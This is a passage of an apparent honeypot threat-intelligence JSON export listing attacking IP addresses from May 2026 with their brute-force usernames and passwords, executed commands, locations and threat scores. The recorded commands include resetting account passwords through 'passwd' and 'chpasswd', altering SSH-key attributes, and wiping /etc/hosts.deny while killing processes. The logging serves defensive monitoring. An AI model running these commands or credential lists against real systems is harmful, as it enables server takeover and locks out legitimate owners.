        "3245gs5662d34",
        "345gs5662d34",
        "@dm!n",
        "aA123456789",
        "admin",
        "asdlkj12",
        "bitnami@123",
        "devops2023"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nLRP4aP6oIrhb\\nLRP4aP6oIrhb\\n\"|passwd",
        "echo -e \"password\\nLRP4aP6oIrhb\\nLRP4aP6oIrhb\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:42:31.059000+00:00",
        "last_seen_30d": "2026-05-09T19:19:57.781000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "58.50.200.63": {
      "attack_count": 194,
      "first_seen": "2026-05-19T06:36:32.254Z",
      "last_seen": "2026-05-19T17:52:50.077Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:36:32.254000+00:00",
        "last_seen_30d": "2026-05-19T17:53:59.212000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 107
      }
    },
    "31.56.196.120": {
      "attack_count": 178,
      "first_seen": "2026-05-29T06:12:11.108Z",
      "last_seen": "2026-05-29T06:43:26.441Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "lek",
        "admin",
        "ahmed",
        "ajay",
        "pgadmin",
        "phil"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "1q2w3e4r@",
        "3245gs5662d34",
        "P@ssw0rd",
        "Wj123456@",
        "ajay",
        "fjbdfdjkdsfs541544",
        "lek",
        "pgadmin",
        "phil",
        "showmethemoney"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"fjbdfdjkdsfs541544\\na0NCOWtD4syR\\na0NCOWtD4syR\\n\"|passwd",
        "echo \"lek\\njneFzF07nAVs\\njneFzF07nAVs\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\na0NCOWtD4syR\\na0NCOWtD4syR\"|passwd|bash",
        "echo -e \"lek\\njneFzF07nAVs\\njneFzF07nAVs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 207,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T06:12:11.108000+00:00",
        "last_seen_30d": "2026-05-29T06:44:33.154000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 29
      }
    },
    "202.83.16.183": {
      "attack_count": 143,
      "first_seen": "2026-05-30T21:02:04.406Z",
      "last_seen": "2026-05-30T21:28:48.294Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ca",
        "david",
        "git",
        "project",
        "test",
        "tony"
      ],
      "passwords_attempted": [
        "123",
        "!@#$QWER1234qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "@dmin123",
        "Ab123456789",
        "Ahgf3487@rtjhskl854hd47893@#a4nC",
        "Ba123456",
        "Dev@2024",
        "Hk@123456",
        "Lo123456",
        "P@ssw0rd",
        "Qwertyu1",
        "test1234",
        "test12345",
        "tony"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:2HOpkKuUxl6A\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T21:02:04.406000+00:00",
        "last_seen_30d": "2026-05-30T21:29:55.170000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 39
      }
    },
    "123.168.163.181": {
      "attack_count": 128,
      "first_seen": "2026-05-19T18:19:08.321Z",
      "last_seen": "2026-05-20T01:25:08.424Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 192,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:19:08.321000+00:00",
        "last_seen_30d": "2026-05-20T01:26:18.651000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 64
      }
    },
    "172.93.103.2": {
      "attack_count": 120,
      "first_seen": "2026-05-04T22:06:38.768Z",
      "last_seen": "2026-05-31T09:15:08.553Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 56.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T22:06:38.768000+00:00",
        "last_seen_30d": "2026-05-31T09:16:12.370000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 60
      }
    },
    "157.230.108.58": {
      "attack_count": 95,
      "first_seen": "2026-05-14T19:54:20.253Z",
      "last_seen": "2026-05-22T09:17:26.131Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "",
        "GET / HTTP/1.0",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "Max-Forwards: 70"
      ],
      "passwords_attempted": [
        "",
        "Via: SIP/2.0/TCP nm;branch=foo",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>"
      ],
      "commands_executed": [
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Call-ID: 50000",
        "Content-Length: 0",
        "Max-Forwards: 70",
        "",
        "Contact: < sip:nm@nm >",
        "Contact: <sip:nm@nm>",
        "From: < sip:nm@nm >; tag=root",
        "From: <sip:nm@nm>;tag=root",
        "To: < sip:nm2@nm2 >",
        "To: <sip:nm2@nm2>"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 46.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.7,
        "persistence": 15.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 19,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T15:36:19+00:00",
        "last_seen_30d": "2026-05-22T09:18:35.327000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 95,
        "Suricata": 81,
        "Honeytrap": 9,
        "Dionaea": 2
      }
    },
    "23.94.92.98": {
      "attack_count": 90,
      "first_seen": "2026-05-03T15:55:36.970Z",
      "last_seen": "2026-05-30T21:36:19.660Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Marietta",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 53.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:55:36.970000+00:00",
        "last_seen_30d": "2026-05-30T21:37:21.057000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 45
      }
    },
    "45.205.1.36": {
      "attack_count": 78,
      "first_seen": "2026-05-02T00:55:28.897Z",
      "last_seen": "2026-05-02T16:14:27.465Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "hikvision",
        "telecomadmin",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "",
        "admin",
        "root",
        "password",
        "123456",
        "admintelecom",
        "hikvision",
        "ubnt",
        "user",
        "xc3511"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:55:28.897000+00:00",
        "last_seen_30d": "2026-05-02T16:15:31.797000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 23
      }
    },
    "182.46.182.76": {
      "attack_count": 60,
      "first_seen": "2026-05-19T00:21:23.933Z",
      "last_seen": "2026-05-19T04:52:33.452Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T00:21:23.933000+00:00",
        "last_seen_30d": "2026-05-19T04:53:35.268000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 32
      }
    },
    "103.84.57.217": {
      "attack_count": 50,
      "first_seen": "2026-05-20T13:07:58.799Z",
      "last_seen": "2026-05-20T13:13:23.267Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 141421,
      "as_org": "MUX BROADBAND PRIVATE LIMITED",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:07:58.799000+00:00",
        "last_seen_30d": "2026-05-20T13:14:31.971000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "42.238.170.104": {
      "attack_count": 50,
      "first_seen": "2026-05-24T03:45:07.816Z",
      "last_seen": "2026-05-24T03:50:32.264Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T03:45:07.816000+00:00",
        "last_seen_30d": "2026-05-24T03:51:37.557000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "116.110.217.235": {
      "attack_count": 42,
      "first_seen": "2026-05-15T13:32:16.895Z",
      "last_seen": "2026-05-15T13:34:16.688Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "monitor",
        "root",
        "admin",
        "backup",
        "test123",
        "walter"
      ],
      "passwords_attempted": [
        "123456",
        "91482d",
        "P@ssw0rd",
        "monitor",
        "qwe123",
        "test123",
        "vertex25",
        "walter"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T13:32:16.895000+00:00",
        "last_seen_30d": "2026-05-15T13:35:22.946000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 42,
        "Suricata": 17
      }
    },
    "36.255.33.213": {
      "attack_count": 34,
      "first_seen": "2026-05-08T05:21:32.432Z",
      "last_seen": "2026-05-13T15:20:52.815Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:21:32.432000+00:00",
        "last_seen_30d": "2026-05-13T15:22:00.045000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 19
      }
    },
    "128.14.236.224": {
      "attack_count": 31,
      "first_seen": "2026-05-18T02:26:29.430Z",
      "last_seen": "2026-05-18T02:28:38.902Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "",
        "GET / HTTP/1.1",
        "b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23",
        "github.com\u0000PGET / HTTP/1.0"
      ],
      "commands_executed": [
        "KHTML, like Gecko",
        "",
        "Accept-Language: zh-CN,zh",
        "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
        "Intel Mac OS X 10_15_7",
        "Macintosh",
        "Macintosh ; Intel Mac OS X 10_15_7",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 60.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.0,
        "persistence": 18.3,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 22,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T23:35:02.305000+00:00",
        "last_seen_30d": "2026-05-29T17:37:59.946000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Honeytrap": 37,
        "Cowrie": 31
      }
    },
    "191.59.180.55": {
      "attack_count": 24,
      "first_seen": "2026-05-20T21:49:48.300Z",
      "last_seen": "2026-05-21T05:34:00.299Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 4230,
      "as_org": "CLARO S.A.",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T21:49:48.300000+00:00",
        "last_seen_30d": "2026-05-21T05:35:06.625000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 12
      }
    },
    "98.142.252.177": {
      "attack_count": 24,
      "first_seen": "2026-05-10T03:27:17.659Z",
      "last_seen": "2026-05-12T06:34:22.348Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 59711,
      "as_org": "HZ Hosting Ltd",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:27:17.659000+00:00",
        "last_seen_30d": "2026-05-12T06:35:31.460000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 11
      }
    },
    "92.205.57.72": {
      "attack_count": 23,
      "first_seen": "2026-05-24T23:09:52.599Z",
      "last_seen": "2026-05-24T23:10:00.115Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "cloud",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Wangsu@2017"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Strasbourg",
      "asn": 21499,
      "as_org": "Host Europe GmbH",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:09:52.599000+00:00",
        "last_seen_30d": "2026-05-24T23:11:09.493000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "152.32.226.205": {
      "attack_count": 15,
      "first_seen": "2026-05-23T16:29:55.972Z",
      "last_seen": "2026-05-23T16:31:00.201Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 65.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 15.8,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 19,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-12T09:30:33.124000+00:00",
        "last_seen_30d": "2026-05-30T18:50:41.374000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Tanner": 44,
        "Cowrie": 15,
        "Honeytrap": 3
      }
    },
    "121.41.129.55": {
      "attack_count": 12,
      "first_seen": "2026-05-04T16:46:43.195Z",
      "last_seen": "2026-05-04T16:46:52.084Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "Aa123456",
        "c3jLrCooJo"
      ],
      "commands_executed": [
        "echo 1 > /dev/null && cat /bin/echo"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T16:46:43.195000+00:00",
        "last_seen_30d": "2026-05-04T16:49:38.526000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "2.59.21.60": {
      "attack_count": 12,
      "first_seen": "2026-05-05T00:49:10.837Z",
      "last_seen": "2026-05-14T02:54:12.389Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Rome",
      "asn": 174,
      "as_org": "Cogent Communications, LLC",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
